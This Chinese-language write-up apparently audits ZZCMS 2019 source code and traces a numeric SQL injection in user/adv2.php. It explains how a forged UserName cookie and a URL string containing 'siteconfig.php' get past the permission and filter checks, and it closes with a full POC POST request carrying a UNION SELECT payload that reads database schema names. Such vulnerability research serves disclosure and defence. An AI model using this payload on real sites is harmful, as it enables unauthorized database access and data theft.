登录后台

已禁止登录!

页面导航

介绍

审计版本:ZZCMS 2019




开启审计之路

漏洞发现:

1. 白盒审计zzcms源码时,发现在uesr/adv2.php文件中第67行代码:

$rs=query("select * from zzcms_ad where id=".$_POST["id"]."");

2. 其中变量$_POST[“id”]可被用户控制且未做过滤操作:

变量id

3. 逆向分析发现当62行代码查询语句:

$rs=query("select * from zzcms_ad where username='".$_COOKIE["UserName"]."' or nextuser='".$_COOKIE["UserName"]."'");

4. 查询结果为0时才会进入66行执行危险查询语句

危险语句

5. 继续逆向分析代码发现要想执行62行代码,必须满足$a+$c==0为假,即38行代码和46行代码的查询语句:

$rs=query("select * from zzcms_zh where editor='".$_COOKIE["UserName"]."'");

至少有一个不为0,则表明网站数据库对应数据表中必须存在$_COOKIE["UserName"]传入的用户

传入

6. 继续逆向分析发现,以上代码都被封装在setAdv($ispay)函数中,接下来在文件中寻找调用该函数的位置

函数

7. 审计该页面代码发现当判断if ($action=="modify")为真时会进入下面代码块调用setAdv()函数;

首先会利用函数check_user_power("set_text_adv")检测用户是否有设置广告的权限(新用户默认为no)
然后在判断常量jifen是否为yes(新用户默认为yes);
最后才会调用setAdv()函数;

5

补充一下:check_user_power("set_text_adv")函数是通过$_COOKIE["UserName"]携带的用户名来查询其是否拥有对应权限并返回yes或no

6

8. 最后构造攻击信息时发现会被检测,debug了一下后发现,当url框中存在siteconfig.php、label、template.php等字符串时会跳过敏感字符检测;

7

9. 到这里代码分析的差不多了,归纳一下信息:

在进入user/adv2.php页面时存在一个POST或GET传输的参数,参数名为action,值为modify;

该参数用来进入102行的if语句中,进入if语句中后,会调用check_user_power("set_text_adv")来查询$COOKIE["UserName"]所携带的用户是否具有权限,然后再通过switch选择对应流程,当权限为no时,常量jifen为yes也会调用setAdv()函数,这时进入到setAdv()函数中;

这时会查询zzcms_main数据表和zzcms_zh数据表中是否有$COOKIE["UserName"]的数据,只要有其中一个表有就会进入到if($a+$c==0)语句中;当执行完查询数据表zzcms_ad的语句后,如果未取到值,就会进入危险代码位置,执行危险代码:

$rs=query("select * from zzcms_ad where id=".$_POST["id"]."");

这里的$_POST["id"]由用户控制且未被引号包裹,是一个典型的数字型注入点,可用联合查询语句爬取数据库;

攻击演示:

1. 首先注册一个用户

注册

2. 提交一个广告

在自助广告处随便提交一个广告(不用通过审核)

提交广告词

3. 发布一个展会

随便发布一个展会(不用通过审核)

发展会

此时数据表zzcms_zh和数据表zzcms_textadv存在admin123用户信息可以利用
11

4. 构造数据包

访问/user/adv2.php并抓包,将GET请求包转为POST请求包;

构造$_POST参数:

UserName=admin123为满足54和64行代码的判断条件

action=modify作用为进入102行的代码执行函数

id为攻击语句,利用联合注入查找显示位

Url框中的A=siteconfig.php是为了绕过敏感字符检测

发包以后发现回显位:

12

可通过该注入点读到数据库任何数据

读取

POC

Ps:注意复现的时候一定要有存在的用户名且发布了广告和会展

POST /user/adv2.php?a=siteconfig.php HTTP/1.1
Host: www.zzcms3.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UserName=admin123
Upgrade-Insecure-Requests: 1
Content-Length: 130
Content-Type: application/x-www-form-urlencoded

id=-1 union select 1,2,3,4,5,6,7,8,9,(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),11,12,13,14&action=modify